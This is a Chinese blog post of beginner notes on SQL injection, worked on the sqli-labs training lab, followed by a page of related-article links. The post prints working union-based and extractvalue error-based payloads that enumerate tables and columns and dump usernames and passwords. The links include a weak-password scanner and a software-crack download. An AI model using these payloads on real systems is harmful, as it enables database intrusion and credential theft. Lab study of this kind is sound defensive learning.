sql注入学习(入门)

SQL注入新手入门学习笔记 本文系统介绍了SQL注入攻击与防御的核心知识。主要内容包括:数据库基础知识(系统表结构、敏感函数)、SQL注入原理(基于可控变量的恶意SQL执行)、影响因素(数据库类型、参数格式等)、常见利用方法(Union注入、盲注等)、黑盒/白盒测试技巧、实战案例分析和防护措施(预编译、输入验证、WAF)。文章还推荐了SQLMap等工具和学习路径,强调预编译语句是最有效的防御手段,需结合多层防护策略。通过学习可全面掌握SQL注入的攻防技术,提升Web应用安全性。 阅读详情

主要借助sqllibs 学习了一下sql注入的大致原理。
sql大致流程都是这样(没试过盲注)
爆库名(通常不需要知道,可以直接调用database()函数),爆表名,爆列名,最后爆数据
所以按照步骤来写sql语句:
爆表名
select group_concat(table_name)
from information_schema.tables
where table_schema=database()
爆列名
select group_concat(column_name)
from information_schema.columns
where table_name=‘你想要查询的表名’
爆数据
select group_concat(‘你爆出的列名’)
from ‘你要查询的表’

在知道了大致流程后,我们所需要做的,就是针对服务端的防护,运用不同的绕过方式。
在非盲注的情况下
less-1(存在回显)
源码分析
在这里插入图片描述
存在单引号字符注入
1)union
使用payload: -1’ and 1=1 --+判断出存在单引号字符型注入漏洞。
在这里插入图片描述
爆表名 -1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在这里插入图片描述
爆列名 -1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+
在这里插入图片描述
爆数据 -1’ union select 1,2,group_concat(username,0x3a,password) from users --+
在这里插入图片描述
2)报错型
使用extractvalue模板
-1’ and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))–+
在这里插入图片描述
-1’ and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns%20 where table_name=‘users’%20%20 limit 1,1)))–+
因为extractvalue限定了输出字符数量和不能超过一行,所以我们可以通过limit逐个将列名输出
在这里插入图片描述
-1’ and extractvalue(1,concat(0x7e,(select password from users where username=‘admin’ )))–+
在这里插入图片描述
盲注,主要基于bool和基于时间。
以后有时间再补充吧~~

黑客入门最值得学习的例子:访问控制漏洞、SQL注入、SQL注入靶场、各种高级的代理工具、不同平台操作系统程序的交叉编译 黑客入门最值得学习的例子:访问控制漏洞、SQL注入、SQL注入靶场、各种高级的代理工具、不同平台操作系统程序的交叉编译。 阅读详情

相关推荐

【UOJ170】Picks loves segment tree VIII

【题目链接】 点击打开链接 【前置阅读】 【BZOJ4695】最假女选手 【BZOJ3064】【TYVJ1518】CPU监控【UOJ169】【UR #11】元旦老人与数列 【思路要点】 前置阅读中的前两题中,我们分别对线段树的区间取最大/最小值和线段树的历史最大/最小值进行了研究。本题中,两类问题同时出现,因此我们

cz_xuyixuan的博客 1250

Mysql中的table_schema

【INFORMATION_SCHEMA 数据库】是MySQL自带的,它提供了访问数据库元数据的方式。 元数据: 数据库名或表名,列的数据类型,或访问权限等。 在MySQL中,把【INFORMATION_SCHEMA】看作是一个数据库,确切说是信息数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。如数据库名,数据库的表,表栏的数据类型与访问权限等。 (1)查看Mysql所有数据库中数据表的名称、数据库注释、创建时间(mysql自带的和自定义的都会查询出来) informati...

记录点滴 1万+

PointNet/PointNet++模型调参实战:如何用PyTorch让你的点云分割精度再涨5个点?

本文深入探讨了PointNet/PointNet++模型在点云分割中的调参技巧,通过PyTorch实现精度提升5个点的实战方法。重点分析了点云密度自适应策略、感受野与细节保留的平衡,以及训练加速与稳定性技巧,适用于电力巡检、自动驾驶等场景的激光点云数据处理。

weixin_30836759的博客 477

MySQL中table_schema的基本操作

mysql数据库中有一些表(是view,只能做select操作)记录了现有表的meta data,比如某个column的名字,它的定义是什么等等。 列出test数据库中所有的表名,类型(普通表还是view)和使用的引擎 select table_name, table_type, engine FROM information_schema.tables WHERE table_schema = ‘test’ ORDER BY table_name DESC; 解释: 对表的meta data的查询

菜鸟要成长的博客 1万+

单细胞测序数据分析——细胞通讯 CellChat

cellchat

G2530051386的博客 1万+

STC8H单片机ADC实战:从读取电位器到串口绘图,12位精度玩起来

本文详细介绍了STC8H单片机的ADC功能实战应用,从读取电位器到串口绘图,展示了12位精度的实现方法。通过硬件连接、代码配置、串口数据传输及高级优化技巧,帮助开发者快速掌握ADC模块的使用,适用于各种传感器数据采集和信号处理场景。

weixin_28278377的博客 344

dvwa靶场之sql注入

sql注入是指通过分析代码,输入字符达到查找数据库中用户信息的一种行为,会导致用户账户的暴露 接下来我们先来分析一下源代码 SELECT first_name, last_name FROM users WHERE user_id = '$id' 其中重点则是上面的这段代码,这是对于数据库的一段查找代码 当我们为$id这个变量赋值时便会带入这段代码对数据库进行查询 ...

m0_63314341的博客 1585

OpenClaw实战-行政与HR必备:AI驱动的办公自动化

智能会议纪要自动生成会议时间智能协调自动提醒和跟进简历智能筛选和匹配度分析面试安排自动化入职办理流程化通知公告一键发布发票识别和报销辅助资产管理数字化让AI处理繁杂的事务性工作,让您有更多时间专注于更有价值的战略和管理任务。

gaoxiang_120的专栏 219

MySQL:TABLE_SCHEMA及其应用

在MySQL数据库管理系统中,TABLE_SCHEMA代表了数据库的逻辑结构和组织方式。TABLE_SCHEMA通常指的是数据库的名称,是MySQL中用于组织和管理表、视图、存储过程等数据库对象的顶层结构。本文介绍TABLE_SCHEMA,以及其应用。

jclee95的个人博客 2956

多体动力学分析软件:SIMPACK_(17).SIMPACK高级编程与脚本

自定义力和约束可以用于模拟更复杂和现实的物理场景。SIMPACK 提供了接口,允许用户通过 Python 脚本来实现自定义力和约束。以下是一个示例,展示如何定义一个自定义力函数并应用于模型。# 定义自定义力函数"""自定义力函数:param t: 时间:param position: 位置:param velocity: 速度:return: 力"""# 创建一个新的 SIMPACK 模型# 添加一个刚体# 添加一个关节# 添加一个自定义力# 设置仿真参数# 运行仿真。

kkchenjj的博客 1421

OpenClaw-遇到的问题- FailoverError: Model context window too small (4096 tokens). Minimum is 16000

摘要:OpenClaw配置文件中deepseek-reasoner模型的上下文窗口被默认设置为4096 tokens(实际支持128K),导致系统报错"Model context window too small"。解决方案是删除配置文件中的contextWindow和maxTokens字段,让系统自动获取模型真实能力,并重启OpenClaw服务。配置文件通常位于用户目录下的.openclaw/openclaw.json中。

直到世界的尽头 4163

mysql查询库总记录数和库大小

下面是查询库数据条数 SELECT sum( TABLE_ROWS ) FROM `information_schema`.`tables` WHERE TABLE_SCHEMA='otms' 下面是查询库大小 select concat(round(sum(data_length/1024/1024),2),'MB') as data from `information_schema`.`tables` WHERE TABLE_SCHEMA='otms' ...

qq_37372909的博客 620

RT-DETR升级:TGRS2026 CKConv结合RepC3 | 方向特征与跨阶段融合协同,小目标漏检率大幅下降

小目标鲁棒性提升:CKConv方向选择性抑制背景噪声,RepC3跨阶段传递保留深层微弱热信号,显著改善低对比度、低信噪比场景下的检测精度。

①答疑群聊服务;②YOLO大模型知识问答系统;③计算机视觉论文生成智能体; 151

SQL注入部分理论入门学习

阅读本文前请注意最后编辑时间,文章内容可能与目前最新的技术发展情况相去甚远。欢迎各位评论与私信,指出错误或是进行交流等。所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。

qq_39635178的博客 931

假人有限元模型

假人模型,车辆碰撞假人有限元模型,适合做乘员安全的研究者利用

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

sql注入入门学习

MySQl注入的一般流程

weixin_53146913的博客 647

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

该如何学习SQL注入路线,从基础入门开始?

摘要:学习注入技术应以防御为目的,掌握漏洞原理与防护方法,严禁非法攻击。学习路径包括:1)明确法律底线,仅限授权环境实践;2)掌握SQL/NoSQL/命令注入等原理及相关技术基础;3)通过本地靶场(DVWA、OWASP JuiceShop)或合法平台(HackTheBox)练习;4)分类型学习漏洞利用与防御(如参数化查询、输入验证);5)利用审计工具和WAF强化防护。推荐OWASP指南、网络安全课程及CTF比赛,强调技术必须用于合法防御,遵守网络安全伦理。(150字)

odotettavissa的博客 509

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

SQL 注入 (入门学习 详解)

SQL注入 SQL注入的两个前提:1.入户可输入内容,且要输入的内容是可控的。2.输入内容一定与数据库交互的。 如图所示,就显示可输入内容,且与数据库交互: CMS SQL注入 CMS逻辑:index.php首页显示内容,具有文章列表,articles.php文章详细页,URL中article.php?id=文章id读取Id文章。 Sqlmap的使用 ...

会哭的猫的博客 2608

2025想做黑客?先来学习 SQL 注入,零基础入门到精通,收藏这篇就够了

SQL 注入(SQL Injection)是一种常见的网络攻击手段,攻击者通过在 Web 应用程序的输入字段中插入恶意 SQL 代码,欺骗后台数据库执行非授权的 SQL 语句。SQL 注入可以用于获取、篡改或删除数据库中的数据,甚至可以用于执行系统命令,导致数据泄露、数据破坏或服务器被控制等严重后果。**对用户输入验证不足:**当 Web 应用程序没有正确验证用户输入时,攻击者可以在输入字段中插入 SQL 代码。

baimao__Ch的博客 1118

SQL注入之MySQL学习入门#1

##### sql手工注入初步了解 ##### 文章目录SQL手工注入一、SQL注入基础1.什么是SQL注入2.SQL注入攻击的产生原因及危害二、MySQL注入基础三、MySQL手工注入分析1.注入基本信息2.确定表和字段四、安全防御措施 SQL手工注入 一、SQL注入基础 1.什么是SQL注入 SQL注入: 攻击者通过把SQL命令插入web表单并提交,或者通过域名或页面请求的查询字符串,达到欺骗服务器执行恶意SQL命令的目的。 目的: 访问SQL服务器、在用户特权下执行SQL代码、链接数据库、显

Cloud_Player的博客 346

干货分享—从0到1深入浅出学习SQL注入详细过程,黑客技术零基础入门到精通实战教程!

本文来讲讲有关SQL注入相关的知识点会尽可能详细的写出来,比较适合刚入门安全的小白进行学习,希望能在面试或实战中助你一臂之力。如有大佬发现文中内容有错误的地方恳请斧正!也欢迎各位师傅共同交流学习技术!

白帽阿叁的博客 922

SQL注入学习教程(非常详细),从入门到精通收藏这一篇就够了

**SQL注入**(SQL Injection)是一种常见的Web安全漏洞,形成的主要原因是web应用程序在接收相关数据参数时未做好过滤,将其直接带入到数据库中查询,导致攻击者可以拼接执行构造的SQL语句。那什么是SQL了?结构化查询语言(Structured Query Language,缩写:SQL),是一种关系型数据库查询的标准编程语言,用于存取数据以及查询、更新、删除和管理关系型数据库(即SQL是一种数据库查询语言

m0_71745258的博客 9747

SQL注入学习入门:手工注入与工具使用

本文系统介绍了SQL注入技术,包含基础知识、手工注入方法和SQLMap工具使用。首先讲解了核心系统库和数据结构层级,然后详细展示了手工注入的判断方法、数据库查询技巧和常用Payload。在工具使用部分,提供了SQLMap的常用命令和详细等级说明。最后建议的学习路径从理解原理到防御方案,循序渐进。全文约150字,涵盖SQL注入的核心知识点和实践方法。

vortex5的博客 940

0 基础小白也能懂的 SQL 注入学习秘籍,从入门到精通实战全解

本文来讲讲有关SQL注入相关的知识点会尽可能详细的写出来,比较适合刚入门安全的小白进行学习,希望能在面试或实战中助你一臂之力。如有大佬发现文中内容有错误的地方恳请斧正!也欢迎各位师傅共同交流学习技术!

Cairo_A的博客 920
上一篇: ctf - Dijkstra
下一篇: ettercap 图形界面遇无线网卡报错
Maxmalloc
博客等级 码龄8年 12粉丝 33原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值